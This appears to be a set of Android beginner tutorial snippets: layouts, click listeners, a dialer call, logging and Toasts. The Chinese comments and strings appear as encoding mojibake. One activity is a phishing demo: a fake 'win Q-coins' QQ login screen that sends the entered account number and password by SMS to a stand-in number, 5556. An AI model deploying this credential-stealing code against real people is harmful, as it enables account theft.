<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    tools:context=".MainActivity" >

<!-- ÉÏÃæµÄÎı¾ÏÔʾ -->

<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:background="#33330000"
android:gravity="bottom|right"
android:hint="0"
android:lines="3"
android:paddingRight="5dp"
android:textSize="29sp" />
<!-- ÏÂÃæµÄ°´¼üÏÔʾ -->

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical" >

<!-- µÚÒ»ÅÅ°´¼ü -->

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="C"
android:textColor="#ED7A20"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="DEL"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="¡Â"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="¡Á"
android:textSize="20sp" />
</LinearLayout>
<!-- µÚ¶þÅÅ°´¼ü -->

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="7"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="8"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="9"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="£­"
android:textSize="20sp" />
</LinearLayout>
<!-- µÚÈýÅÅ°´¼ü -->

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="4"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="5"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="6"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="+"
android:textSize="20sp" />
</LinearLayout>
<!-- ÏÂÃæ¶þÅÅ×îÍâÃæ -->

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content" >

<!-- ×ó±ß -->

<LinearLayout
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="3"
android:orientation="vertical" >

<!-- ×ó±ßÉÏ -->

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content" >

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="1"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="2"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="3"
android:textSize="20sp" />
</LinearLayout>
<!-- ×ó±ßÏ -->

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content" >

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="2"
android:text="0"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="."
android:textSize="20sp" />
</LinearLayout>
</LinearLayout>

<!-- Óұ߰´¼ü -->

<Button
android:layout_width="0dp"
android:layout_height="match_parent"
android:layout_weight="1"
android:background="#ED7A20"
android:gravity="bottom|right"
android:text="="
android:textColor="#ffffff"
android:paddingBottom="20dp"
android:paddingRight="20dp"/>
</LinearLayout>
</LinearLayout>
<AbsoluteLayout ></AbsoluteLayout>
</LinearLayout>

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context=".MainActivity" >

<!-- Öмä -->

<Button
android:id="@+id/center"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_centerInParent="true"
android:text="Öмä" />
<!-- ÖÐÉÏ -->

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_above="@id/center"
android:layout_alignLeft="@id/center"
android:text="ÖÐÉÏ" />
<!-- ÖÐÏÂ -->

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignLeft="@id/center"
android:layout_below="@id/center"
android:text="ÖÐÏÂ" />
<!-- ÖÐ×ó -->

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignBottom="@id/center"
android:layout_toLeftOf="@id/center"
android:text="ÖÐ×ó" />
<!-- ÖÐÓÒ -->

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignTop="@id/center"
android:layout_toRightOf="@id/center"
android:text="ÖÐÓÒ" />
<!-- ×óÉÏ -->

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="×óÉÏ" />
<!-- ÓÒÉÏ -->

<Button
android:layout_alignParentRight="true"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ÓÒÉÏ " />

<!-- ×óÏÂ -->

<Button
android:layout_alignParentBottom="true"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="×óÏÂ " />
<!-- ÓÒÏÂ -->

<Button
android:layout_alignParentBottom="true"
android:layout_alignParentRight="true"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ÓÒÉÏ " />
</RelativeLayout>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:gravity="center_horizontal"
    android:orientation="vertical"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context=".MainActivity" >

<ImageView
android:background="#09A3DC"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:src="@drawable/qq" />

<!--ÊäÈëQQºÅÂë -->
<EditText
android:id="@+id/et_qqNumber"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="20dp"
android:hint="ÇëÊäÈëQQºÅÂë"
android:inputType="numberSigned" />
<!--ÊäÈëQQÃÜÂë-->
<EditText
android:id="@+id/et_qqPassword"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="20dp"
android:hint="ÇëÊäÈëQQÃÜÂë"
android:inputType="textPassword" />

<Button
android:id="@+id/btn_login"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="20dp"
android:textColor="#ffffff"
android:background="#09A3DC"
android:text="µÇ¼ÁìÈ¡Q±Ò´ó½±"/>
</LinearLayout>

/**
 * Ò»¼üÁìÈ¡Q±Ò
 * ²½Öè:
 * 1.ÉèÖõ¥»÷ʼþ
 * 2.»ñÈ¡ÊäÈëµÄQQºÅÂëÓëÃÜÂë
 * 3.ÅжÏÊäÈë»ñÈ¡µÄÄÚÈÝÊÇ·ñΪ¿Õ,Ϊ¿Õ¾Í¸øÓû§ÌáʾToastÌáʾ,²»Îª¿Õ¾Í¼ÌÐø
 * 4.ʹÓöÌÐŹÜÀíÆ÷,ÊÇÒ»¸öµ¥ÀýµÄÀàSmsManager.getDefault()À´»ñÈ¡
 * 5.·¢ËÍQQºÅÂëÓëÃÜÂë
 * 6.Ìí¼Ó·¢ËÍSMSµÄȨÏÞSEND_SMS
 * 
    
 * @author Áõéª
 *
 * 2016-2-17ÏÂÎç7:48:53
 */
public class MainActivity extends Activity {
    /*
     * QQºÅÂë
     */
     EditText et_qqNumber;
    /*
     * QQÃÜÂë
     */
     EditText et_qqPassword;
    /*
     * µÇ¼ÁìÈ¡Q±Ò
     */
     Button btn_login;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
/*
* ³õʼ»¯
*/
/*
* QQºÅÂë
*/
et_qqNumber=(EditText) findViewById(R.id.et_qqNumber);
/*
* QQÃÜÂë
*/
et_qqPassword=(EditText) findViewById(R.id.et_qqPassword);
/*
* µÇ¼ÁìÈ¡Q±Ò
*/
btn_login=(Button) findViewById(R.id.btn_login);
/*
* ÉèÖõã»÷ʼþ
*/
btn_login.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View v) {
//2.»ñÈ¡ÊäÈëµÄQQºÅÂëÓëÃÜÂë

String qq = et_qqNumber.getText().toString().trim();
String password = et_qqPassword.getText().toString().trim();
// 3.ÅжÏÊäÈë»ñÈ¡µÄÄÚÈÝÊÇ·ñΪ¿Õ,Ϊ¿Õ¾Í¸øÓû§ÌáʾToastÌáʾ,²»Îª¿Õ¾Í¼ÌÐø
if(TextUtils.isEmpty(qq)|| TextUtils.isEmpty(password)){
Toast.makeText(MainActivity.this, "Ç×! QQºÅÂë»òÕßÃÜÂë²»ÄÜΪ¿Õ", Toast.LENGTH_SHORT).show();
return ;
}
// 4.ʹÓöÌÐŹÜÀíÆ÷,ÊÇÒ»¸öµ¥ÀýµÄÀàSmsManager.getDefault()À´»ñÈ¡
SmsManager manager = SmsManager.getDefault();

// 5.·¢ËÍQQºÅÂëÓëÃÜÂë
String message="qq :"+qq+",pwd:"+password;

manager.sendTextMessage("5556", null, message, null, null);
/*

* ·ÖÀë¶ÌÐÅ

ArrayList<String> divideMessage = manager.divideMessage(message);
for (String str : divideMessage) {
manager.sendTextMessage("5556", null, str, null, null);
}*/
}
});
}

}

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context=".MainActivity" >

<Button
android:onClick="callPhone"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:text="Ò»¼üºô½ÐÎÄÎÄÈ¥×ö´ó±£½¡"/>

</RelativeLayout>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    android:orientation="vertical"
    tools:context=".MainActivity" >

<Button
android:id="@+id/btn01"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="µÚÒ»ÖÖд·¨" />
<Button
android:id="@+id/btn02"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="µÚ¶þÖÖд·¨" />
<Button
android:id="@+id/btn03"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="µÚÈýÖÖд·¨" />
<Button
android:onClick="click04"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="µÚËÄÖÖд·¨" />

<Button
android:id="@+id/btn05"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="µÚÈýÖÖд·¨" />

</LinearLayout>

/**
 * µã»÷ʼþµÄ4ÖÖд·¨: 
 * 1.дÄäÃûÄÚ²¿Àà 
 * 2.ÄÚ²¿Àà 
 * 3.ActivityʵÏÖOnClickListener½Ó¿Ú
 * 4.ÔÚ²¼¾ÖÎļþÖÐдonClickÊôÐÔ,ÔÚActivityÖÐд¶ÔÓ¦ µÄ·½·¨,±ØÐëΪpublic void ¶ÔÓ¦µÄ·½·¨Ãû(View v)
 * 
 * @author Áõéª
 * 
 *         2016-2-18ÉÏÎç9:43:04
 */
public class MainActivity extends Activity implements OnClickListener {
    /*
     * µÚÒ»ÖÖд·¨
     */
    private Button btn01;
    /*
     * µÚ¶þÖÖд·¨
     */
    private Button btn02;
    /*
     * µÚÈýÖÖд·¨
     */
    private Button btn03;
    /*
     * µÚÈýÖÖд·¨
     */
    private Button btn05;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

btn01 = (Button) findViewById(R.id.btn01);
btn02 = (Button) findViewById(R.id.btn02);
btn03 = (Button) findViewById(R.id.btn03);
btn05 = (Button) findViewById(R.id.btn05);

/*
* µÚÒ»ÖÖµã»÷ʼþ,ÄäÃûÄÚ²¿Àà,°´¼üÒ»
*/
btn01.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View v) {
int id = v.getId();
Toast.makeText(MainActivity.this, "µÚÒ»ÖÖ,µ±Ç°ID" + id,
Toast.LENGTH_SHORT).show();
}
});
/*
* µÚ¶þÖÖ µã»÷ʼþ,ÄÚ²¿Àà °´¼ü¶þ
*/
btn02.setOnClickListener(new Bt02Litener());

/*
* µÚÈýÖÖд·¨
*/
btn03.setOnClickListener(this);
btn05.setOnClickListener(this);
}

/*
* µÚËÄÖÖд·¨
*/
public void click04(View v) {

Toast.makeText(MainActivity.this, "µÚËÄÖÖд·¨", Toast.LENGTH_SHORT).show();

}

/*
* µÚ¶þÖÖ µã»÷ʼþ,ÄÚ²¿Àà °´¼ü¶þ
*/
private class Bt02Litener implements OnClickListener {

@Override
public void onClick(View v) {
int id = v.getId();
Toast.makeText(MainActivity.this, "µÚ¶þÖÖ,µ±Ç°ID" + id,
Toast.LENGTH_SHORT).show();

}

}

/**
* µÚÈýÖÖ Ê¼þ¼àÌý
*/
@Override
public void onClick(View v) {

int id = v.getId();
// ÅжÏ
switch (id) {
case R.id.btn03:
// µ÷Ó÷½·¨
btn03();
break;
case R.id.btn05:
// µ÷Ó÷½·¨
btn05();
break;
}
}

/*
* °´¼ü3
*/
public void btn03() {
Toast.makeText(this, "°´¼ü3", Toast.LENGTH_SHORT).show();
}

/*
* °´¼ü5
*/
public void btn05() {
Toast.makeText(this, "°´¼ü5", Toast.LENGTH_SHORT).show();
}

}

/**
 * Ò»¼ü´òµç»°¹¦ÄÜ ²½Öè: 
 * 1.ʹÓÃÒâͼ¶ÔÏó Intent intent = new Intent(); 
 * 2.ÉèÖÃAction
 * ¸æËßϵͳÎÒÒª´òµç»°,setAction(Intent.Action_CALL),µ÷ÓÃgoogleÌṩºÃµÄ¹¦ÄÜ
 * 3.ÉèÖÃDataÊý¾ÝsetData(Uri.parse("tel://µç»°ºÅÂë")) tel://Ï൱ÓÃhttp://ÊÇÒ»ÖÖЭÒé 

*
* ACTION_DIAL tel:123 -- Display the phone dialer with the given number filled
* in.

*
*
* 4.Æô¶¯Ò»¸öеÄActivity½çÃæ 5.Ìí¼ÓȨÏÞCALL_PHONE
*
* @author Áõéª
*
* 2016-2-17ÏÂÎç7:40:42
*/
public class MainActivity extends Activity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

}

/**
*
* @param view
*/
public void callPhone(View view) {
// 1.ʹÓÃÒâͼ¶ÔÏó Intent intent = new Intent();

Intent intent = new Intent();
// 2.ÉèÖÃAction ¸æËßϵͳÎÒÒª´òµç»°,setAction(Intent.Action_CALL)

intent.setAction(Intent.ACTION_CALL);
// 3.ÉèÖÃDataÊý¾ÝsetData(Uri.parse("tel://µç»°ºÅÂë"))

intent.setData(Uri.parse("tel://10086"));
// 4.Æô¶¯Ò»¸öеÄActivity½çÃæ
startActivity(intent);
}

}

public class MainActivity extends Activity {

private static final String TAG = "MainActivity";

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Log.v(TAG, "verbose");
Log.d(TAG, "debug");
Log.i(TAG, "info");
Log.w(TAG, "warn");
Log.e(TAG, "error");
Log.wtf(TAG, "wtf");
}

ÔÚManifest.xmÇåµ¥ÎļþÖÐÌí¼Ó
<instrumentation
    android:name="android.test.InstrumentationTestRunner"
        android:targetPackage="com.itheima.test" >
    </instrumentation>
<uses-library android:name="android.test.runner"/>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    android:orientation="vertical"
    tools:context=".MainActivity" >

<Button
android:id="@+id/btn_simple"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ÆÕͨToast" />
<Button
android:id="@+id/btn_toast"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="´øͼƬToast" />

</LinearLayout>

/*
 * Toast
 */
public class MainActivity extends Activity {

/*
* ÆÕͨ
*/
private Button btn_simple;
/*
* ´øͼƬµÄ
*/
private Button btn_toast;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

btn_simple = (Button) findViewById(R.id.btn_simple);
btn_toast = (Button) findViewById(R.id.btn_toast);
/*
* ÉèÖüàÌýʼþ²½Öè
* 1.ʼþÔ´,Èç°´¼ü btn_simple
* 2.ʼþ OnClick
* 3.¼àÌýÆ÷new OnClickListener
* 3.°ó¶¨Ê¼þÔ´Óëʼþ setOnClickListener(new OnClickListener() {}
*/
btn_simple.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View v) {
Toast.makeText(MainActivity.this, "¼òµ¥µÄÎı¾ÌáʾÐÅÏ¢", Toast.LENGTH_SHORT).show();
}
});

/*
* ´øͼƬµÄToast
*/
btn_toast.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View v) {
//´´½¨Toast
Toast toast = new Toast(MainActivity.this);

//ÉèÖÃToastÏÔʾλÖÃ
toast.setGravity(Gravity.CENTER, 0, 0);
//´´½¨Ò»¸öImageView

ImageView iv = new ImageView(MainActivity.this);
iv.setImageResource(R.drawable.tools);

//´´½¨ÈÝÆ÷
LinearLayout ll = new LinearLayout(MainActivity.this);

ll.addView(iv);
//´´½¨Ò»¸öÎı¾
TextView tv = new TextView(MainActivity.this);
tv.setText("´øͼƬÌáʾÐÅÏ¢");

tv.setTextSize(24);
tv.setTextColor(Color.MAGENTA);

ll.addView(tv);

toast.setView(ll);

toast.setDuration(Toast.LENGTH_SHORT);

toast.show();

}
});
}

}